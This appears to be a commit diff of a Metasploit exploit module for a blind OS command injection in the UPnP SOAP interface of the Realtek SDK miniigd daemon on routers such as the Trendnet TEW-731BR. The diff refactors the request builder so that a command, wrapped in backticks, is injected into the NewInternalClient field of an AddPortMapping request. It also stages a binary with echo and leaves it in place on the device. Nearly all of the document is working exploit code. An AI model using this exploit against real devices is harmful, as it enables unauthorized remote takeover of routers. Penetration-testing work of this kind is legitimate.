@@ -10,15 +10,16 @@ class Metasploit3 < Msf::Exploit::Remote
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
12
include Msf ::Exploit ::CmdStager
13
+ include REXML
13
14
14
15
def initialize ( info = { } )
15
16
super ( update_info ( info ,
16
17
'Name' => 'Realtek SDK Miniigd UPnP SOAP Command Execution' ,
17
18
'Description' => %q{
18
19
Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command
19
20
injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability,
20
- there is no output for the executed command.
21
- This module has been tested in emulation on a Trendnet TEW-731BR router.
21
+ there is no output for the executed command. This module has been tested successfully on a
22
+ Trendnet TEW-731BR router with emulation .
22
23
} ,
23
24
'Author' =>
24
25
[
@@ -52,7 +53,7 @@ def initialize(info = {})
52
53
'Platform' => 'linux' ,
53
54
'Arch' => ARCH_MIPSBE
54
55
}
55
- ] ,
56
+ ]
56
57
] ,
57
58
'DefaultTarget' => 0
58
59
) )
@@ -91,54 +92,76 @@ def exploit
91
92
92
93
execute_cmdstager (
93
94
:flavor => :echo ,
94
- :linemax => 50
95
+ :linemax => 50 ,
96
+ :nodelete => true
95
97
)
96
98
end
97
99
98
100
def execute_command ( cmd , opts )
99
101
uri = '/wanipcn.xml'
100
-
101
- new_portmapping_descr = rand_text_alpha ( 8 )
102
- new_external_port = rand ( 32767 ) + 32768
103
- new_internal_port = rand ( 32767 ) + 32768
104
-
105
- # We need something like this:
106
- #cmd = "echo -en \\\x7f\\\x45\\\x4c\\\x46\\\x01 > /var/tmp/pwdn"
107
- cmd = cmd . gsub ( "\\ \\ " , "\\ \\ \\ \\ \\ " )
108
-
109
- soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
110
-
111
- data_cmd = "<?xml version=\" 1.0\" ?>"
112
- data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\" http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\" http://schemas.xmlsoap.org/soap/encoding/\" >"
113
- data_cmd << "<SOAP-ENV:Body>"
114
- data_cmd << "<m:AddPortMapping xmlns:m=\" urn:schemas-upnp-org:service:WANIPConnection:1\" >"
115
- data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
116
- data_cmd << "<NewInternalClient>`#{ cmd } `</NewInternalClient>"
117
- data_cmd << "<NewEnabled>1</NewEnabled>"
118
- data_cmd << "<NewExternalPort>#{ new_external_port } </NewExternalPort>"
119
- data_cmd << "<NewRemoteHost></NewRemoteHost>"
120
- data_cmd << "<NewProtocol>TCP</NewProtocol>"
121
- data_cmd << "<NewInternalPort>#{ new_internal_port } </NewInternalPort>"
122
- data_cmd << "</m:AddPortMapping>"
123
- data_cmd << "</SOAP-ENV:Body>"
124
- data_cmd << "</SOAP-ENV:Envelope>"
102
+ soap_action = 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'
103
+ data_cmd = '<?xml version="1.0"?>' + build_soap_req
125
104
126
105
begin
127
106
res = send_request_cgi ( {
128
107
'uri' => uri ,
129
108
'vars_get' => {
130
109
'service' => 'WANIPConn1'
131
110
} ,
132
- 'ctype' => " text/xml" ,
111
+ 'ctype' => ' text/xml' ,
133
112
'method' => 'POST' ,
134
113
'headers' => {
135
- 'SOAPAction' => soapaction ,
114
+ 'SOAPAction' => soap_action
136
115
} ,
137
- 'data' => data_cmd
116
+ 'data' => data_cmd . gsub ( /CMD_HERE/ , "` #{ cmd . gsub ( / \\ / , '\\\\\\\\\\' ) } `" )
138
117
} )
139
118
return res
140
119
rescue ::Rex ::ConnectionError
141
120
fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
142
121
end
143
122
end
123
+
124
+ def build_soap_req
125
+ new_external_port = rand ( 32767 ) + 32768
126
+ new_internal_port = rand ( 32767 ) + 32768
127
+
128
+ xml = Document . new
129
+
130
+ xml . add_element (
131
+ 'SOAP-ENV:Envelope' ,
132
+ {
133
+ 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/' ,
134
+ 'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'
135
+ } )
136
+
137
+ xml . root . add_element ( 'SOAP-ENV:Body' )
138
+
139
+ body = xml . root . elements [ 1 ]
140
+
141
+ body . add_element (
142
+ 'm:AddPortMapping' ,
143
+ {
144
+ 'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1'
145
+ } )
146
+
147
+ port_mapping = body . elements [ 1 ]
148
+ port_mapping . add_element ( 'NewLeaseDuration' )
149
+ port_mapping . add_element ( 'NewInternalClient' )
150
+ port_mapping . add_element ( 'NewEnabled' )
151
+ port_mapping . add_element ( 'NewExternalPort' )
152
+ port_mapping . add_element ( 'NewRemoteHost' )
153
+ port_mapping . add_element ( 'NewProtocol' )
154
+ port_mapping . add_element ( 'NewInternalPort' )
155
+
156
+ port_mapping . elements [ 'NewLeaseDuration' ] . text = ''
157
+ port_mapping . elements [ 'NewInternalClient' ] . text = 'CMD_HERE'
158
+ port_mapping . elements [ 'NewEnabled' ] . text = '1'
159
+ port_mapping . elements [ 'NewExternalPort' ] . text = "#{ new_external_port } "
160
+ port_mapping . elements [ 'NewRemoteHost' ] . text = ''
161
+ port_mapping . elements [ 'NewProtocol' ] . text = 'TCP'
162
+ port_mapping . elements [ 'NewInternalPort' ] . text = "#{ new_internal_port } "
163
+
164
+ xml . to_s
165
+ end
166
+
144
167
end
0 commit comments